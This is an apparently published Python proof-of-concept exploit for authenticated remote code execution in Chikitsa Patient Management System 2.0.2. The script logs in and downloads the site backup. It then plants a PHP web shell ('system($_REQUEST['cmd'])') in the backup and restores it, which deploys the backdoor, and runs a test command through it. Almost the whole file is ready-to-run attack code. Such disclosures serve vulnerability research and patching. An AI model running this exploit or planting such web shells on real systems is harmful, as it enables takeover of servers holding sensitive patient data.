# Exploit Title: Chikitsa Patient Management System 2.0.2 - 'plugin' Remote Code Execution (RCE) (Authenticated)
# Date: 03/12/2021
# Exploit Author: 0z09e (https://twitter.com/0z09e)
# Vendor Homepage: https://sourceforge.net/u/dharashah/profile/
# Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download
# Version: 2.0.2
# Tested on: Ubuntu

import requests
import os
from zipfile import ZipFile
import argparse




def login(session , target , username , password):
  print("[+] Attempting to login with the credential")
  url = target + "/index.php/login/valid_signin"
  login_data = {"username" : username , "password" : password}
  session.post(url , data=login_data , verify=False)
  return session


def download_backup( session , target):
  print("[+] Downloading the backup (This may take some time)")
  url = target + "/index.php/settings/take_backup/"
  backup_req = session.get(url , verify=False)
  global tmp_dir
  tmp_dir = os.popen("mktemp -d").read().rstrip()
  open(tmp_dir + "/backup_raw.zip" , "wb").write(backup_req.content)
  print(f"[+] Backup downloaded at {tmp_dir}/backup_raw.zip")


def modify_backup():
  print("[+] Modifying the backup by injecting a backdoor.")
  zf = ZipFile(f'{tmp_dir}/backup_raw.zip', 'r')
  zf.extractall(tmp_dir)
  zf.close()
  open(tmp_dir + "/uploads/media/rce.php" , "w").write("<?php system($_REQUEST['cmd']);?>")
  os.popen(f"cd {tmp_dir}/ && zip -r backup_modified.zip chikitsa-backup.sql prefix.txt uploads/").read()


def upload_backup(session , target):
  print("[+] Uploading the backup back into the server.(This may take some time)")
  url = target + "/index.php/settings/restore_backup"
  file = open(f"{tmp_dir}/backup_modified.zip" , "rb").read()
  session.post(url , verify=False ,files = {"backup" : ("backup-modified.zip" , file)})
  print(f"[+] Backdoor Deployed at : {target}/uploads/restore_backup/uploads/media/rce.php")
  print(f"[+] Example Output : {requests.get(target +'/uploads/restore_backup/uploads/media/rce.php?cmd=id' , verify=False).text}")




def main():
  parser = argparse.ArgumentParser("""
            __    _ __   _ __            
  _____/ /_  (_) /__(_) /__________ _
 / ___/ __ \/ / //_/ / __/ ___/ __ `/
/ /__/ / / / / ,< / / /_(__  ) /_/ / 
\___/_/ /_/_/_/|_/_/\__/____/\__,_/  
                                     
Chikitsa Patient Management System 2.0.2 Authenticated Remote Code Execution : 
POC Written By - 0z09e (https://twitter.com/0z09e)\n\n""" , formatter_class=argparse.RawTextHelpFormatter)
  req_args = parser.add_argument_group('required arguments')
  req_args.add_argument("URL" , help="Target URL. Example : https://10.20.30.40/path/to/chikitsa")
  req_args.add_argument("-u" , "--username" , help="Username" , required=True)
  req_args.add_argument("-p" , "--password" , help="password", required=True)
  args = parser.parse_args()

  target = args.URL
  if target[-1] == "/":
    target = target[:-1]
  username = args.username
  password = args.password

  session = requests.session()
  login(session ,target , username , password)
  download_backup(session , target )
  modify_backup()
  upload_backup(session , target)


if __name__ == "__main__":
  main()